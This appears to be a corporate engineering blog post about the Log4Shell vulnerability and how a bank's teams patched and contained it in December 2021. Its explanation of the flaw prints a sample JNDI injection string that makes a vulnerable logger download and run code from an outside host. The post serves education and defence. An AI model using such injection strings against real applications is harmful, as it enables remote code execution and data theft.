Alert Message Please update your browser.

We don't support this browser version anymore. Using an updated version will help protect your accounts and provide a better experience. 

Update your browser

Please update your browser.

We don't support this browser version anymore. Using an updated version will help protect your accounts and provide a better experience.

Update your browser

Close

The Log4Shell chronicles, Part 1: Holiday frenzy 

by Haiying Guo and Panna Pavangadkar

January 1 — 9 min read

In early December 2021, experts discovered a critical vulnerability that threatened many industries using Java-based applications. On the eve of one of the busiest shopping and travel seasons of the year, software powering government agencies, health care organizations and banks was suddenly compromised by Log4Shell.

What is Log4Shell and why is it so dangerous?

Log4Shell is a software vulnerability in Apache Log4j2, a widely used open-source logging library. Logging is one of the first things developers add to any project – it allows them to see what’s happening when their code is running.

For example, one typical log statement prints out a user’s input field – the application has a web form asking users to enter a natural language search string to query the products they’re looking for. The application then displays search results. A developer can then use LOG.info (“User search: {}”, userInput) to log what the user entered. This way, if a user reports an issue with the results, the developer can refer to the log to see what the user submitted and figure out why the expected results were not returned.

Log4j2 has a set of “Lookup” features that allow the logs to access various environment variables in the container the application is deployed to: jvm, docker, Kubernetes. These are useful things to track because developers may need the information to debug a problem with the program. One such lookup is JNDI. In simple terms, if a certain log contains a pattern in the form of jndi:ldap:, it will call that IP/host to download and execute code provided. This feature was once considered useful but has since opened a door for attackers to exploit the application. Many logs print what was entered by a user, so when an attacker enters something like:

jndi:ldap:100.2.34.1/a

in a user input on a website, they can place any number of known, tested exploits at 100.2.34.1/a that Log4j2 will then download and execute with its own privileges. These secondary exploits can do all kinds of damage: steal sensitive data, install ransomware, open backdoors for later exploits and gain additional footholds on connected and less-protected internal servers.

The widespread use of the Log4j library across multiple platforms, combined with the web of dependencies among the affected platforms and services, made patching the vulnerability a complex and time-consuming process.

While vulnerabilities in software are not uncommon, the relatively low technical effort required to exploit this vulnerability, the ubiquity of the library and the privileged access it gave attackers made it quite severe. Within hours of the vulnerability’s publication, a working proof-of-concept exploit was released, and attackers began scanning. Within days, active exploits were seen in “the wild.”

Prevention and Remediation

It took all the technology teams at JPMC to solve the problem. Working together, they performed 9,000 daily builds into the test environment, ran more than 102,000 software update release security scans and patched/upgraded 5,500 compute assets, 4,300 storage nodes, 2,300 database instances, 21,000 web instances, 42 Gaia pools and 200,000 VDI instances in the last month of 2021. It was definitely a busy way to end the year!

Understanding how we prevented the Log4j vulnerability from becoming a more serious issue and the systems we already had in place to stop early attempts to exploit it can help us learn even better ways to keep our software secure. Here’s what helped us weather the Log4j storm:

  • Our modernization framework does not use Log4j – In Consumer and Community Banking’s (CCB) modernization journey, we standardized the Photon framework to build Java-based microservices. As part of the New Banking Architecture (NBA) standard, Photon provides out-of-the-box logging and observability features. By default, the Photon framework uses Logback, a different logging framework than Log4j2. This significantly reduced the impact radius and ensured that only those applications in which the default was overridden with Log4j2 were affected.
  • Guardrails preventing exploitation – Even before we could apply patches to all the affected programs in production, existing perimeter security measures and monitoring kicked in and prevented initial Log4Shell attacks from causing any damage. Our ingress rules were bypassed, but our firewalls blocked the outbound calls. So, although Log4j was technically being exploited, we were stopping the callout. We implemented specific network traffic monitoring and alerting to detect attacks. Our web application firewall (WAF) rules and logic for the monitoring rules were continuously tested and updated as new bypasses were discovered.
  • An accurate inventory – The firm has a standardized software development lifecycle (SDLC) build pipeline that enforces vulnerability scanning. This provides an accurate bill of materials (BOM) inventory of internally built applications. Using the BOM, we could quickly report which of the firm’s applications use the vulnerable versions of the Log4j2 library and remediation. Vendor and open-source software are subjected to similar standardized processes before they are installed onto our platforms. This allows us to quickly identify which ones are at risk and reach out to the vendor for patches.
  • Organized for quick action – CCB’s standard runbook enabled teams to quickly mobilize and react. Our Cyber Technology and Control (CTC) organization immediately alerted senior executives to the critical vulnerability and the scope of the remediation required. A firmwide war room and adjacent business unit war rooms were established right away to socialize best methods and provide help to teams remediating their software. Our strong emphasis on automated testing and investment in modernized development practices ensured that our applications were able to quickly turn around testing the patches and deploy to prduction using our standard build pipeline.
  • Talented people – Our team’s dedication is the biggest reason for our success. As the holidays approached, more Log4j2 vulnerabilities were found and additional patches were released to remediate them. Our teams gave up their vacation time and worked around the clock to rapidly implement fixes that minimized the firm’s exposure.

Join us for Part 2, when we’ll explore what we learned and our recommendations for dealing with the next vulnerability.